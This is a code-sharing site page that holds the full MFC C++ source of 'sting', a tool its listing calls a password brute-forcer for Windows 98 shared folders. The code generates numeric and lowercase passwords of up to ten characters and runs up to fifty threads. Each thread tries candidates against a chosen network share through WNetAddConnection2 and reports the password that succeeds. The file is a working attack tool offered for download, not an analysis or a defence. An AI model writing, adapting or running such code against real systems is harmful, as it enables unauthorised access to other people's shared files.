⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 stingdlg.cpp

📁 Windows98平台的共享目录口令暴力破解程序
💻 CPP
字号:
// stingDlg.cpp : implementation file
//

#include "stdafx.h"
#include "sting.h"
#include "stingDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

extern BOOL g_bContinue;
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
UINT StingThread(LPVOID pParam);
UINT StingThreadContinue(LPVOID pParam);
UINT StingIn(int index,int deept,int deep, int mode, char *password, void *pParam);
UINT StingConnect(int index,int deept,char *password,void *pParam);
class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CStingDlg dialog

CStingDlg::CStingDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CStingDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CStingDlg)
	m_netName = _T("");
	m_nLen = 0;
	m_nMode = -1;
	m_bProgress = FALSE;
	m_strPot = _T("");
	m_tNum = 0;
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CStingDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CStingDlg)
	DDX_Text(pDX, IDC_EDIT_NETNAME, m_netName);
	DDX_Text(pDX, IDC_EDIT_LENGTH, m_nLen);
	DDV_MinMaxUInt(pDX, m_nLen, 1, 10);
	DDX_Radio(pDX, IDC_RADIO1, m_nMode);
	DDX_Check(pDX, IDC_CHECK_PROGRESS, m_bProgress);
	DDX_Text(pDX, IDC_EDIT_POT, m_strPot);
	DDV_MaxChars(pDX, m_strPot, 10);
	DDX_Text(pDX, IDC_EDIT_T_NUMBER, m_tNum);
	DDV_MinMaxInt(pDX, m_tNum, 1, 50);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CStingDlg, CDialog)
	//{{AFX_MSG_MAP(CStingDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(ID_B_START, OnBStart)
	ON_BN_CLICKED(ID_B_STOP, OnBStop)
	ON_WM_CLOSE()
	ON_BN_CLICKED(ID_B_CONTINUE, OnBContinue)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CStingDlg message handlers

BOOL CStingDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	m_nMode=0;
	m_nLen=3;
	m_tNum=25;
	index=0;
	Suc=0;
	m_bProgress = TRUE;
	Sem=CreateSemaphore(NULL,1,1,"SEM");
	Sem1=CreateSemaphore(NULL,1,1,"SEM1");
	RECT rect;
	rect.top=0;
	rect.left=0;
	rect.bottom=200;
	rect.right=300;
	m_list.Create(WS_POPUPWINDOW|WS_CAPTION,rect,this,888);
	m_list.SetWindowText("结果");
	UpdateData(FALSE);
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CStingDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CStingDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CStingDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CStingDlg::OnBStop() 
{
	if (index>0)
	{
		g_bContinue=FALSE;
	}
}

void CStingDlg::OnClose() 
{
	g_bContinue=0;
	while (index>0)
	{
	}
	CDialog::OnClose();
}

UINT StingIn(int index,int deept,int deep, int mode,char *password, void *pParam)
{
	UINT res; 
	UINT j;
	CStingDlg *pDlg=(CStingDlg *)pParam;
	
	if (mode==0)
	{
		if (pDlg->init[deept-deep]<'0')
			pDlg->init[deept-deep]='0';
		for (j=pDlg->init[deept-deep];j<='9';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='0';
	}
	else if (mode==1)
	{
		if (pDlg->init[deept-deep]<'a')
			pDlg->init[deept-deep]='a';
		for (j=pDlg->init[deept-deep];j<='z';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				//p
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='a';
	}
	else if (mode==2)
	{
		if (pDlg->init[deept-deep]<'0')
			pDlg->init[deept-deep]='0';
		for (j=pDlg->init[deept-deep];j<='9';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		if (pDlg->init[deept-deep]<'a')
			pDlg->init[deept-deep]='a';
		for (j=pDlg->init[deept-deep];j<='z';j++)
		{
			password[deept-deep]=j;
			if (deep!=1) 
			{
				res=StingIn(index,deept,deep-1,mode,password,pParam);
			}
			else
			{
				res = StingConnect(index,deept,password,pParam);		
			}
			if (res==1) return 1;
		}
		pDlg->init[deept-deep]='0';
	}
	else
	{
		pDlg->SetDlgItemText(ID_S_STATE,"异常模式错误!");
		return 1;
	}
	return 0;
}

UINT StingConnect(int index,int deept,char *password,void *pParam)
{
	NETRESOURCE nr;
	DWORD res=88;
	LONG temp;
	
	CStingDlg *pDlg=(CStingDlg *)pParam;
	nr.dwType = RESOURCETYPE_ANY;
	nr.lpLocalName = NULL;
	nr.lpRemoteName =(LPTSTR)(LPCSTR)(pDlg->m_netName);
	nr.lpProvider = NULL;
	
	if (g_bContinue)
	{
		if (((UINT)deept)<pDlg->m_deep) return 0;
		WaitForSingleObject(pDlg->Sem,INFINITE);
		if (((UINT)deept)>strlen(pDlg->current))
		{
			strcpy(pDlg->current,password);
			res=1;
		}
		else
		{
			for (int j=0;j<deept;j++)
			{
				if (password[j]>pDlg->current[j])
				{	
					strcpy(pDlg->current,password);
					res=1;
					break;
				}
				else if (password[j]<pDlg->current[j])
					break;
			}
		}
		if (res==1)
			pDlg->SetDlgItemText(IDC_EDIT_POT,password);
		ReleaseSemaphore(pDlg->Sem,1,&temp);
		if (res==1)
		{
			res = WNetAddConnection2(&nr, (LPTSTR) password, 
					(LPTSTR)"", FALSE);
		}
		else
			return 0;
	}
	else 
	{
		if  (index==1)
		{
			pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
			pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
			pDlg->SetDlgItemText(ID_S_STATE,"任务取消!");
		}
		return 1;//abort recur
	}
	if(res == NO_ERROR)
	{//sucess
		g_bContinue=0;
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		LONG temp;
		WaitForSingleObject(pDlg->Sem1,INFINITE);
		pDlg->m_list.AddString(password);
		ReleaseSemaphore(pDlg->Sem1,1,&temp);
		pDlg->Suc=1;
		WNetCancelConnection2((LPTSTR)(LPCSTR)(pDlg->m_netName),
			CONNECT_UPDATE_PROFILE,TRUE);
		return 1;//abort recur
	}
	return 0;
}

UINT StingThreadContinue(LPVOID pParam)
{
	UINT res;
	char szPassword[20];

	CStingDlg *pDlg=(CStingDlg *)pParam;
	pDlg->index++;
	pDlg->SetDlgItemText(ID_S_STATE,"运行中...");
	
	ZeroMemory(szPassword,sizeof(szPassword));
	
	if (!pDlg->m_bProgress)
	{
		int temp=pDlg->m_strPot.GetLength();
		if (temp<1) temp=1;
		if (temp>10) return 1;
		pDlg->m_deep=temp;
		res = StingIn(pDlg->index,temp,temp,pDlg->m_nMode,szPassword,pDlg);
	}
	else
	{             
		for (UINT i=pDlg->m_strPot.GetLength();i<=pDlg->m_nLen;i++)
		{
			if (i>=pDlg->m_deep)
				pDlg->m_deep=i;
			else
				continue;
			res = StingIn(pDlg->index,i,i,pDlg->m_nMode,szPassword,pDlg);
			if (res) break;
		}
	}
	pDlg->index--;
	if (pDlg->index==0)
	{
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		if (pDlg->Suc==0)
		{
			pDlg->SetDlgItemText(ID_S_STATE,"失败");
			pDlg->SetDlgItemText(IDC_EDIT_POT,pDlg->current);
		}
		else
		{
			pDlg->SetDlgItemText(ID_S_STATE,"成功");
			pDlg->m_list.ShowWindow(SW_SHOW);
		}
		ShowWindow(pDlg->GetSafeHwnd(),SW_RESTORE);
		SetForegroundWindow(pDlg->GetSafeHwnd());
		pDlg->m_list.SendMessage(WM_NCACTIVATE,1,0);
	}
	return 0;

}

void CStingDlg::OnBContinue() 
{
	if (index>0) return;
	Suc=0;
	UpdateData(TRUE);
	if (m_nLen>10||m_nLen<1) return;
	if (m_tNum>50||m_tNum<1) return;
	GetDlgItem(ID_B_START)->EnableWindow(FALSE);
	GetDlgItem(ID_B_CONTINUE)->EnableWindow(FALSE);
	
	g_bContinue=TRUE;
	ZeroMemory(init,sizeof(init));
	if (m_strPot=="")
		m_strPot='0';
	strcpy(init,(LPCSTR)m_strPot);
	ZeroMemory(current,sizeof(current));
	SetWindowText(m_netName);
	m_list.ShowWindow(SW_HIDE);
	m_list.ResetContent();
	m_deep=1;
	for (int i=0;i<m_tNum;i++)
		AfxBeginThread(StingThreadContinue,this,THREAD_PRIORITY_LOWEST);	
}

UINT StingThread(LPVOID pParam)
{
	UINT res;
	char szPassword[20];

	CStingDlg *pDlg=(CStingDlg *)pParam;
	pDlg->index++;
	pDlg->SetDlgItemText(ID_S_STATE,"运行中...");
	
	ZeroMemory(szPassword,sizeof(szPassword));
	
	if (!pDlg->m_bProgress)
	{
		pDlg->m_deep=pDlg->m_nLen;
		res = StingIn(pDlg->index,pDlg->m_nLen,pDlg->m_nLen,pDlg->m_nMode,szPassword,pDlg);
	}
	else
	{
		for (UINT i=1;i<=pDlg->m_nLen;i++)
		{
			if (i>=pDlg->m_deep)
				pDlg->m_deep=i;
			else
				continue;
			res = StingIn(pDlg->index,i,i,pDlg->m_nMode,szPassword,pDlg);
			if (res) break;
		}
	}
	pDlg->index--;
	if (pDlg->index==0)
	{
		pDlg->GetDlgItem(ID_B_START)->EnableWindow(TRUE);
		pDlg->GetDlgItem(ID_B_CONTINUE)->EnableWindow(TRUE);
		if (pDlg->Suc==0)
		{
			pDlg->SetDlgItemText(ID_S_STATE,"失败");
			pDlg->SetDlgItemText(IDC_EDIT_POT,pDlg->current);
		}
		else
		{
			pDlg->SetDlgItemText(ID_S_STATE,"成功");
			pDlg->m_list.ShowWindow(SW_SHOW);
		}
		ShowWindow(pDlg->GetSafeHwnd(),SW_RESTORE);
		SetForegroundWindow(pDlg->GetSafeHwnd());
		pDlg->m_list.SendMessage(WM_NCACTIVATE,1,0);
	}
	return 0;

}

void CStingDlg::OnBStart() 
{
	if (index>0) return;
	Suc=0;
	UpdateData(TRUE);
	if (m_nLen>10||m_nLen<1) return;
	if (m_tNum>50||m_tNum<1) return;
	GetDlgItem(ID_B_START)->EnableWindow(FALSE);
	GetDlgItem(ID_B_CONTINUE)->EnableWindow(FALSE);
	SetDlgItemText(IDC_EDIT_POT,"");
	g_bContinue=TRUE;
	ZeroMemory(init,sizeof(init));
	ZeroMemory(current,sizeof(current));
	SetWindowText(m_netName);
	m_list.ShowWindow(SW_HIDE);
	m_list.ResetContent();
	m_deep=1;
	for (int i=0;i<m_tNum;i++)
		AfxBeginThread(StingThread,this,THREAD_PRIORITY_LOWEST);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -